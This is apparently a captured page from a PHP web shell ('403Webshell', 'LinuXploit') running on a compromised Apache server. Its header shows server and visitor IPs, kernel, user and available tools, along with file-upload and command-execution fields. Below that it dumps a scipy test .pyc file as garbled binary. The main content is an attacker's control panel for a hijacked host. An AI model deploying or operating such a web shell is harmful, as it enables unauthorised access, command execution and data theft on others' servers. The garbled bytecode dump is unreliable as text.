403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/special/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/special/tests/__pycache__/test_boxcox.cpython-311.pyc
�

d�cp
��j�ddlZddlmZmZmZddlmZmZm	Z	m
Z
d�Zd�Zd�Z
d�Zd�Zd	�Zd
�Zd�ZdS)�N)�assert_equal�assert_almost_equal�assert_allclose)�boxcox�boxcox1p�
inv_boxcox�inv_boxcox1pc��tjgd���}t|d��}t|tj|����t|d��}t||dz
��t|d��}t|d|dzdz
z��tjgd���}td|��}t|d|z��dS)N)��?���rrr
r�rrr
��)�np�arrayrr�log��x�y�lams   �A/usr/lib/python3/dist-packages/scipy/special/tests/test_boxcox.py�test_boxcox_basicrs���
����� � �A�	�q�!���A���2�6�!�9�9�%�%�%�	�q�!���A���1�q�5�!�!�!�	�q�!���A���3��1��q��>�*�*�*�
�(�;�;�;�
�
�C��q�#���A���4�#�:�&�&�&�&�&�c�v�d}d}t||��}t|tj|��d���dS)Ng�?�P7�xf�+����=��rtol)rrrr�r�lmbdars   r�test_boxcox_underflowr"s>���A��E��q�%���A��A�r�v�a�y�y�u�-�-�-�-�-�-rc�x�tjgd���}t|gd���}t|tjtjtjtjg����d}t|ddg��}t|tjtjtjg����dS)N)���r$g࿩r�@���r��)rrrr�nan�inf�rrs  r�test_boxcox_nonfiniter,#s���
����� � �A��q�"�"�"�#�#�A���B�H�b�f�b�f�b�f�5�6�6�7�7�7�	
�A��q�4��)���A���B�H�r�v�g���w�/�0�0�1�1�1�1�1rc��tjgd���}t|d��}t|tj|����t|d��}t||��t|d��}t|d|zd|zz��tjgd���}td|��}t|d|z��dS)	N)gпg#B���ǻrg#B����;g�?r�rrr
rrr$r)rrrr�log1prs   r�test_boxcox1p_basicr0/s���
��6�6�6�7�7�A�	��A���A���2�8�A�;�;�'�'�'�	��A���A���1����	��A���A���3�q�5�!�a�%�=�)�)�)�
�(�;�;�;�
�
�C���S���A���4�#�:�&�&�&�&�&rc���tjddg��}tjddg��}t||��}t|tj|��d���dS)N�V瞯�<rg�C��]r2<rr)rrrrr/r s   r�test_boxcox1p_underflowr3DsZ��
��%���!�!�A��H�f�e�_�%�%�E���E���A��A�r�x��{�{��/�/�/�/�/�/rc�x�tjgd���}t|gd���}t|tjtjtjtjg����d}t|ddg��}t|tjtjtjg����dS)N)���r5r'r%r$r(r)rrrrr)r*r+s  r�test_boxcox1p_nonfiniter6Ks���
����� � �A���$�$�$�%�%�A���B�H�b�f�b�f�b�f�5�6�6�7�7�7�	�A���T�1�I���A���B�H�r�v�g���w�/�0�0�1�1�1�1�1rc�v�tjgd���}tjgd���}t||��}t||��}t	||��tjgd���}tjgd���}t||��}t
||��}t	||��dS)N)gg�?r&)rrrrrrr	)rrr�x2s    r�test_inv_boxcoxr9Ws���
�������A�
�(�<�<�<�
 �
 �C��q�#���A�	�A�s�	�	�B���2����
�������A�
�(�<�<�<�
 �
 �C���C���A�	�a��	�	�B���2�����rc�R�d}d}t||��}t||d���dS)Nr2rrr)r	r)rrrs   r�test_inv_boxcox1p_underflowr;es6��
�A�
�C��Q����A��A�q�u�%�%�%�%�%�%r)�numpyr�
numpy.testingrrr�
scipy.specialrrrr	rr"r,r0r3r6r9r;�rr�<module>r@s�������L�L�L�L�L�L�L�L�L�L�D�D�D�D�D�D�D�D�D�D�D�D�
'�'�'�(.�.�.�	2�	2�	2�'�'�'�*0�0�0�	2�	2�	2����&�&�&�&�&r

Youez - 2016 - github.com/yon3zu
LinuXploit